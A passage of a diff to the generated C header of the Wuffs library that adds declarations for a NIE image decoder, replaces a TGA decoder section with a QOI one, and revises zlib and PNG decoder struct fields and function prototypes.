+-sizeof__wuffs_zlib__decoder(void); ++sizeof__wuffs_nie__decoder(void); + + // ---------------- Allocs + +@@ -10944,65 +11664,107 @@ sizeof__wuffs_zlib__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_zlib__decoder* +-wuffs_zlib__decoder__alloc(void); ++wuffs_nie__decoder* ++wuffs_nie__decoder__alloc(void); + +-static inline wuffs_base__io_transformer* +-wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { +- return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); ++static inline wuffs_base__image_decoder* ++wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_nie__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__io_transformer* +-wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( +- wuffs_zlib__decoder* p) { +- return (wuffs_base__io_transformer*)p; ++static inline wuffs_base__image_decoder* ++wuffs_nie__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_nie__decoder* p) { ++ return (wuffs_base__image_decoder*)p; + } + + // ---------------- Public Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_zlib__decoder__dictionary_id( +- const wuffs_zlib__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_zlib__decoder__add_dictionary( +- wuffs_zlib__decoder* self, +- wuffs_base__slice_u8 a_dict); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__get_quirk( +- const wuffs_zlib__decoder* self, ++wuffs_nie__decoder__get_quirk( ++ const wuffs_nie__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__set_quirk( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__set_quirk( ++ wuffs_nie__decoder* self, + uint32_t a_key, + uint64_t a_value); + ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_image_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame_config( ++ wuffs_nie__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__decode_frame( ++ wuffs_nie__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_nie__decoder__frame_dirty_rect( ++ const wuffs_nie__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_nie__decoder__num_animation_loops( ++ const wuffs_nie__decoder* self); ++ + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_zlib__decoder__history_retain_length( +- const wuffs_zlib__decoder* self); ++wuffs_nie__decoder__num_decoded_frame_configs( ++ const wuffs_nie__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_zlib__decoder__workbuf_len( +- const wuffs_zlib__decoder* self); ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_nie__decoder__num_decoded_frames( ++ const wuffs_nie__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_zlib__decoder__transform_io( +- wuffs_zlib__decoder* self, ++wuffs_nie__decoder__restart_frame( ++ wuffs_nie__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_nie__decoder__set_report_metadata( ++ wuffs_nie__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_nie__decoder__tell_me_more( ++ wuffs_nie__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf); ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_nie__decoder__workbuf_len( ++ const wuffs_nie__decoder* self); + + #ifdef __cplusplus + } // extern "C" +@@ -11017,7 +11779,7 @@ wuffs_zlib__decoder__transform_io( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_zlib__decoder__struct { ++struct wuffs_nie__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -11028,20 +11790,336 @@ struct wuffs_zlib__decoder__struct { + struct { + uint32_t magic; + uint32_t active_coroutine; +- wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; + wuffs_base__vtable null_vtable; + +- bool f_bad_call_sequence; +- bool f_header_complete; ++ uint32_t f_pixfmt; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint32_t f_dst_x; ++ uint32_t f_dst_y; ++ wuffs_base__pixel_swizzler f_swizzler; ++ ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ } private_impl; ++ ++ struct { ++ struct { ++ uint64_t scratch; ++ } s_do_decode_image_config; ++ } private_data; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_nie__decoder__alloc()); ++ } ++ ++ static inline wuffs_base__image_decoder::unique_ptr ++ alloc_as__wuffs_base__image_decoder() { ++ return wuffs_base__image_decoder::unique_ptr( ++ wuffs_nie__decoder__alloc_as__wuffs_base__image_decoder()); ++ } ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_nie__decoder__struct() = delete; ++ wuffs_nie__decoder__struct(const wuffs_nie__decoder__struct&) = delete; ++ wuffs_nie__decoder__struct& operator=( ++ const wuffs_nie__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_nie__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } ++ ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_nie__decoder__get_quirk(this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_nie__decoder__set_quirk(this, a_key, a_value); ++ } ++ ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__decode_image_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__decode_frame_config(this, a_dst, a_src); ++ } ++ ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_nie__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } ++ ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_nie__decoder__frame_dirty_rect(this); ++ } ++ ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_nie__decoder__num_animation_loops(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_nie__decoder__num_decoded_frame_configs(this); ++ } ++ ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_nie__decoder__num_decoded_frames(this); ++ } ++ ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_nie__decoder__restart_frame(this, a_index, a_io_position); ++ } ++ ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_nie__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } ++ ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_nie__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } ++ ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_nie__decoder__workbuf_len(this); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_nie__decoder__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NIE) || defined(WUFFS_NONMONOLITHIC) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) || defined(WUFFS_NONMONOLITHIC) ++ ++// ---------------- Status Codes ++ ++extern const char wuffs_zlib__note__dictionary_required[]; ++extern const char wuffs_zlib__error__bad_checksum[]; ++extern const char wuffs_zlib__error__bad_compression_method[]; ++extern const char wuffs_zlib__error__bad_compression_window_size[]; ++extern const char wuffs_zlib__error__bad_parity_check[]; ++extern const char wuffs_zlib__error__incorrect_dictionary[]; ++extern const char wuffs_zlib__error__truncated_input[]; ++ ++// ---------------- Public Consts ++ ++#define WUFFS_ZLIB__QUIRK_JUST_RAW_DEFLATE 2113790976u ++ ++#define WUFFS_ZLIB__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u ++ ++#define WUFFS_ZLIB__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u ++ ++// ---------------- Struct Declarations ++ ++typedef struct wuffs_zlib__decoder__struct wuffs_zlib__decoder; ++ ++#ifdef __cplusplus ++extern "C" { ++#endif ++ ++// ---------------- Public Initializer Prototypes ++ ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_zlib__decoder__initialize( ++ wuffs_zlib__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); ++ ++size_t ++sizeof__wuffs_zlib__decoder(void); ++ ++// ---------------- Allocs ++ ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. ++ ++wuffs_zlib__decoder* ++wuffs_zlib__decoder__alloc(void); ++ ++static inline wuffs_base__io_transformer* ++wuffs_zlib__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_zlib__decoder__alloc()); ++} ++ ++// ---------------- Upcasts ++ ++static inline wuffs_base__io_transformer* ++wuffs_zlib__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_zlib__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} ++ ++// ---------------- Public Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_zlib__decoder__dictionary_id( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_zlib__decoder__add_dictionary( ++ wuffs_zlib__decoder* self, ++ wuffs_base__slice_u8 a_dict); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_zlib__decoder__get_quirk( ++ const wuffs_zlib__decoder* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__set_quirk( ++ wuffs_zlib__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_zlib__decoder__dst_history_retain_length( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_zlib__decoder__workbuf_len( ++ const wuffs_zlib__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_zlib__decoder__transform_io( ++ wuffs_zlib__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++#ifdef __cplusplus ++} // extern "C" ++#endif ++ ++// ---------------- Struct Definitions ++ ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_zlib__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__io_transformer; ++ wuffs_base__vtable null_vtable; ++ ++ bool f_bad_call_sequence; ++ bool f_header_complete; + bool f_got_dictionary; + bool f_want_dictionary; + bool f_quirks[1]; + bool f_ignore_checksum; +- uint32_t f_dict_id_got; ++ uint32_t f_dict_id_have; + uint32_t f_dict_id_want; + +- uint32_t p_transform_io[1]; +- uint32_t p_do_transform_io[1]; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; + } private_impl; + + struct { +@@ -11050,9 +12128,9 @@ struct wuffs_zlib__decoder__struct { + wuffs_deflate__decoder f_flate; + + struct { +- uint32_t v_checksum_got; ++ uint32_t v_checksum_have; + uint64_t scratch; +- } s_do_transform_io[1]; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus +@@ -11141,9 +12219,9 @@ struct wuffs_zlib__decoder__struct { + return wuffs_zlib__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_zlib__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_zlib__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 +@@ -11184,11 +12262,9 @@ extern const char wuffs_png__error__unsupported_png_file[]; + + // ---------------- Public Consts + +-#define WUFFS_PNG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015u + +-#define WUFFS_PNG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 2251799562027015 +- +-#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8 ++#define WUFFS_PNG__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 8u + + // ---------------- Struct Declarations + +@@ -11321,11 +12397,6 @@ wuffs_png__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__history_retain_length( +- const wuffs_png__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_png__decoder__workbuf_len( +@@ -11438,26 +12509,26 @@ struct wuffs_png__decoder__struct { + wuffs_png__decoder* self, + wuffs_base__slice_u8 a_curr, + wuffs_base__slice_u8 a_prev); +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_ihdr[1]; +- uint32_t p_decode_other_chunk[1]; +- uint32_t p_decode_actl[1]; +- uint32_t p_decode_chrm[1]; +- uint32_t p_decode_fctl[1]; +- uint32_t p_decode_gama[1]; +- uint32_t p_decode_iccp[1]; +- uint32_t p_decode_plte[1]; +- uint32_t p_decode_srgb[1]; +- uint32_t p_decode_trns[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_skip_frame[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_pass[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_do_tell_me_more[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_ihdr; ++ uint32_t p_decode_other_chunk; ++ uint32_t p_decode_actl; ++ uint32_t p_decode_chrm; ++ uint32_t p_decode_fctl; ++ uint32_t p_decode_gama; ++ uint32_t p_decode_iccp; ++ uint32_t p_decode_plte; ++ uint32_t p_decode_srgb; ++ uint32_t p_decode_trns; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_skip_frame; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_pass; ++ uint32_t p_tell_me_more; ++ uint32_t p_do_tell_me_more; + wuffs_base__status (*choosy_filter_and_swizzle)( + wuffs_png__decoder* self, + wuffs_base__pixel_buffer* a_dst, +@@ -11473,54 +12544,54 @@ struct wuffs_png__decoder__struct { + struct { + uint32_t v_checksum_have; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint64_t scratch; +- } s_decode_ihdr[1]; ++ } s_decode_ihdr; + struct { + uint64_t scratch; +- } s_decode_other_chunk[1]; ++ } s_decode_other_chunk; + struct { + uint64_t scratch; +- } s_decode_actl[1]; ++ } s_decode_actl; + struct { + uint64_t scratch; +- } s_decode_chrm[1]; ++ } s_decode_chrm; + struct { + uint32_t v_x0; + uint32_t v_x1; + uint32_t v_y1; + uint64_t scratch; +- } s_decode_fctl[1]; ++ } s_decode_fctl; + struct { + uint64_t scratch; +- } s_decode_gama[1]; ++ } s_decode_gama; + struct { + uint32_t v_num_entries; + uint32_t v_i; + uint64_t scratch; +- } s_decode_plte[1]; ++ } s_decode_plte; + struct { + uint32_t v_i; + uint32_t v_n; + uint64_t scratch; +- } s_decode_trns[1]; ++ } s_decode_trns; + struct { + uint64_t scratch; +- } s_do_decode_frame_config[1]; ++ } s_do_decode_frame_config; + struct { + uint64_t scratch; +- } s_skip_frame[1]; ++ } s_skip_frame; + struct { + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint64_t scratch; +- } s_decode_pass[1]; ++ } s_decode_pass; + struct { + wuffs_base__status v_zlib_status; + uint64_t scratch; +- } s_do_tell_me_more[1]; ++ } s_do_tell_me_more; + } private_data; + + #ifdef __cplusplus +@@ -11664,11 +12735,6 @@ struct wuffs_png__decoder__struct { + return wuffs_png__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_png__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_png__decoder__workbuf_len(this); +@@ -11681,24 +12747,21 @@ struct wuffs_png__decoder__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_tga__error__bad_header[]; +-extern const char wuffs_tga__error__bad_run_length_encoding[]; +-extern const char wuffs_tga__error__truncated_input[]; +-extern const char wuffs_tga__error__unsupported_tga_file[]; ++extern const char wuffs_qoi__error__bad_footer[]; ++extern const char wuffs_qoi__error__bad_header[]; ++extern const char wuffs_qoi__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_TGA__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_TGA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_QOI__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +-typedef struct wuffs_tga__decoder__struct wuffs_tga__decoder; ++typedef struct wuffs_qoi__decoder__struct wuffs_qoi__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -11713,14 +12776,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_tga__decoder__initialize( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__initialize( ++ wuffs_qoi__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_tga__decoder(void); ++sizeof__wuffs_qoi__decoder(void); + + // ---------------- Allocs + +@@ -11730,19 +12793,19 @@ sizeof__wuffs_tga__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_tga__decoder* +-wuffs_tga__decoder__alloc(void); ++wuffs_qoi__decoder* ++wuffs_qoi__decoder__alloc(void); + + static inline wuffs_base__image_decoder* +-wuffs_tga__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_tga__decoder__alloc()); ++wuffs_qoi__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_qoi__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__image_decoder* +-wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_tga__decoder* p) { ++wuffs_qoi__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_qoi__decoder* p) { + return (wuffs_base__image_decoder*)p; + } + +@@ -11750,35 +12813,35 @@ wuffs_tga__decoder__upcast_as__wuffs_base__image_decoder( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__get_quirk( +- const wuffs_tga__decoder* self, ++wuffs_qoi__decoder__get_quirk( ++ const wuffs_qoi__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__set_quirk( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__set_quirk( ++ wuffs_qoi__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_image_config( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_image_config( ++ wuffs_qoi__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_frame_config( ++ wuffs_qoi__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__decode_frame( ++ wuffs_qoi__decoder* self, + wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__pixel_blend a_blend, +@@ -11787,55 +12850,50 @@ wuffs_tga__decoder__decode_frame( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_tga__decoder__frame_dirty_rect( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__frame_dirty_rect( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_tga__decoder__num_animation_loops( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_animation_loops( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frame_configs( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_decoded_frame_configs( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__num_decoded_frames( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__num_decoded_frames( ++ const wuffs_qoi__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__restart_frame( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__restart_frame( ++ wuffs_qoi__decoder* self, + uint64_t a_index, + uint64_t a_io_position); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct +-wuffs_tga__decoder__set_report_metadata( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__set_report_metadata( ++ wuffs_qoi__decoder* self, + uint32_t a_fourcc, + bool a_report); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__tell_me_more( +- wuffs_tga__decoder* self, ++wuffs_qoi__decoder__tell_me_more( ++ wuffs_qoi__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_tga__decoder__history_retain_length( +- const wuffs_tga__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_tga__decoder__workbuf_len( +- const wuffs_tga__decoder* self); ++wuffs_qoi__decoder__workbuf_len( ++ 